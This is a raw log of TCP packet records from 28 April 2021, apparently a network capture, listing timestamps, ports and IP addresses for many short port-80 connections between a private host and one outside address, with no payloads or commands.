Apr 28, 2021 23:22:45.044301033 CEST	80	49789	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.044450998 CEST	49789	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.104908943 CEST	80	49787	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.105076075 CEST	49787	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.193543911 CEST	49789	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.194101095 CEST	49790	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.287302017 CEST	80	49790	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.287390947 CEST	49790	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.287863016 CEST	49790	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.290884972 CEST	80	49789	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.291004896 CEST	49789	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.381088972 CEST	80	49790	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.385080099 CEST	80	49790	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.385229111 CEST	49790	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.487360954 CEST	49790	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.488322973 CEST	49792	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.580840111 CEST	80	49790	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.580941916 CEST	49790	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.586726904 CEST	80	49792	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.586833954 CEST	49792	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.587301016 CEST	49792	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.685659885 CEST	80	49792	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.693449020 CEST	80	49792	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.693527937 CEST	49792	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.802766085 CEST	49792	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.804269075 CEST	49793	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.899046898 CEST	80	49792	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.899117947 CEST	49792	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.901241064 CEST	80	49793	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:45.901361942 CEST	49793	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.902287960 CEST	49793	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:45.997992992 CEST	80	49793	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:46.002257109 CEST	80	49793	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:46.002350092 CEST	49793	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.458796024 CEST	49793	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.460625887 CEST	49795	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.555825949 CEST	80	49795	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:46.555924892 CEST	49795	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.556397915 CEST	80	49793	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:46.556476116 CEST	49793	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.563601971 CEST	49795	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.657614946 CEST	80	49795	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:46.661710024 CEST	80	49795	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:46.662045956 CEST	49795	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.775379896 CEST	49795	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.777307987 CEST	49796	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.871361971 CEST	80	49795	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:46.872277021 CEST	49795	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.880049944 CEST	80	49796	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:46.880147934 CEST	49796	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.880842924 CEST	49796	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:46.981899023 CEST	80	49796	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:46.985491991 CEST	80	49796	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:46.985678911 CEST	49796	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.066711903 CEST	49796	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.067940950 CEST	49797	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.169153929 CEST	80	49797	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.169285059 CEST	49797	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.169564009 CEST	80	49796	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.169660091 CEST	49796	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.172080994 CEST	49797	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.228897095 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.271970034 CEST	80	49797	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.275757074 CEST	80	49797	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.275855064 CEST	49797	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.331710100 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.331935883 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.332216024 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.393490076 CEST	49797	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.394833088 CEST	49799	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.434398890 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.434459925 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.434523106 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.434586048 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.434719086 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.435175896 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.435256958 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.435344934 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.435691118 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.435779095 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.436100006 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.436285973 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.436369896 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.436455011 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.436976910 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.437069893 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.492664099 CEST	80	49799	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.492758036 CEST	49799	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.493213892 CEST	49799	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.494457006 CEST	80	49797	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.494520903 CEST	49797	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.536500931 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.536530018 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.536566019 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.536670923 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.536820889 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.536921024 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.536921978 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.536967039 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.537163973 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.537225008 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.537492037 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.537560940 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.537650108 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.538017035 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.538093090 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.538156033 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.538445950 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.538516998 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.538645029 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.540462971 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.590367079 CEST	80	49799	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.594239950 CEST	80	49799	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.594415903 CEST	49799	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.638312101 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.638340950 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.638355970 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.638427973 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.638442039 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.638458014 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.638467073 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.638483047 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.638518095 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.638530016 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.638638020 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.638669968 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.638717890 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.638997078 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.639055967 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.639118910 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.639221907 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.639236927 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.639296055 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.639556885 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.639646053 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.639688969 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.639724970 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.639821053 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.639920950 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.640470982 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.641758919 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.641915083 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.641985893 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.706644058 CEST	49799	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.708077908 CEST	49800	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.740520954 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.740550041 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.740559101 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.740571022 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.740762949 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.740776062 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.740921974 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.740935087 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.741080046 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.741094112 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.741108894 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.741275072 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.741494894 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.741555929 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.742093086 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.742110014 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.742120981 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.742135048 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.742161036 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.742360115 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.743812084 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.745516062 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.745671034 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.804148912 CEST	80	49800	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.804173946 CEST	80	49799	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.804253101 CEST	49800	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.804275990 CEST	49799	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.805080891 CEST	49800	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.847661972 CEST	80	49798	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.847724915 CEST	49798	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:48.898504972 CEST	80	49800	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.902429104 CEST	80	49800	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:48.902693033 CEST	49800	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.018395901 CEST	49800	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.019512892 CEST	49802	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.112853050 CEST	80	49800	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.112951994 CEST	49800	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.121609926 CEST	80	49802	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.121860981 CEST	49802	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.122548103 CEST	49802	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.226387024 CEST	80	49802	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.230724096 CEST	80	49802	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.231296062 CEST	49802	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.346927881 CEST	49802	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.347965956 CEST	49803	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.444787025 CEST	80	49803	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.444916964 CEST	49803	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.445810080 CEST	49803	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.448596001 CEST	80	49802	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.448695898 CEST	49802	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.542817116 CEST	80	49803	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.546698093 CEST	80	49803	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.552633047 CEST	49803	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.659269094 CEST	49803	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.660295010 CEST	49804	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.757291079 CEST	80	49803	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.757957935 CEST	49803	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.759272099 CEST	80	49804	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.759470940 CEST	49804	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.760165930 CEST	49804	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.858370066 CEST	80	49804	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.862448931 CEST	80	49804	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:49.863415956 CEST	49804	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.971852064 CEST	49804	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:49.972945929 CEST	49805	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.068118095 CEST	80	49804	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.068181038 CEST	49804	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.070033073 CEST	80	49805	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.070197105 CEST	49805	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.070811987 CEST	49805	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.168833971 CEST	80	49805	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.172569036 CEST	80	49805	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.172663927 CEST	49805	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.296040058 CEST	49805	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.297023058 CEST	49807	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.392222881 CEST	80	49807	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.392316103 CEST	49807	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.393086910 CEST	80	49805	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.393176079 CEST	49805	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.393526077 CEST	49807	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.490228891 CEST	80	49807	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.494272947 CEST	80	49807	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.494380951 CEST	49807	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.596923113 CEST	49807	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.598764896 CEST	49809	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.694308996 CEST	80	49807	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.694408894 CEST	49807	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.698064089 CEST	80	49809	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.698227882 CEST	49809	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.698858976 CEST	49809	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.796463966 CEST	80	49809	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.800661087 CEST	80	49809	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:50.800837040 CEST	49809	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.910326004 CEST	49809	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:50.911844969 CEST	49810	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.007855892 CEST	80	49809	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.007941008 CEST	49809	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.010499954 CEST	80	49810	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.010596991 CEST	49810	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.011379957 CEST	49810	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.112637997 CEST	80	49810	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.116410971 CEST	80	49810	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.116537094 CEST	49810	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.222347975 CEST	49810	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.223766088 CEST	49811	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.321033001 CEST	80	49810	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.321115017 CEST	49810	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.324347973 CEST	80	49811	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.324449062 CEST	49811	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.325784922 CEST	49811	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.425971985 CEST	80	49811	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.429867029 CEST	80	49811	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.429960012 CEST	49811	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.536950111 CEST	49811	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.538080931 CEST	49812	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.594393969 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.637442112 CEST	80	49812	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.637569904 CEST	49812	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.638061047 CEST	49812	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.638165951 CEST	80	49811	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.638226986 CEST	49811	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.696110010 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.696211100 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.696666002 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.737288952 CEST	80	49812	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.741029024 CEST	80	49812	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.741235018 CEST	49812	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.797044039 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.797149897 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.797158957 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.797204971 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.797238111 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.797291994 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.797357082 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.797452927 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.797512054 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.797570944 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.797940016 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.798038006 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.798306942 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.798388004 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.798538923 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.798623085 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.798664093 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.798754930 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.798882008 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.799025059 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.848227978 CEST	49812	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.849955082 CEST	49814	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.898433924 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.898597002 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.899180889 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899194956 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899205923 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899216890 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899230957 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899245024 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899255991 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899267912 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899279118 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899290085 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899301052 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899311066 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.899346113 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.899436951 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.899483919 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.947945118 CEST	80	49812	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.948038101 CEST	49812	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.949693918 CEST	80	49814	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.949830055 CEST	49814	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.950593948 CEST	49814	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.998975039 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.999077082 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.999469995 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.999490023 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.999521971 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.999572039 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.999707937 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.999763012 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.999783993 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.999800920 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.999816895 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:51.999887943 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:51.999922037 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.000490904 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.000583887 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.000735998 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.000785112 CEST	80	49813	176.111.174.114	192.168.2.5
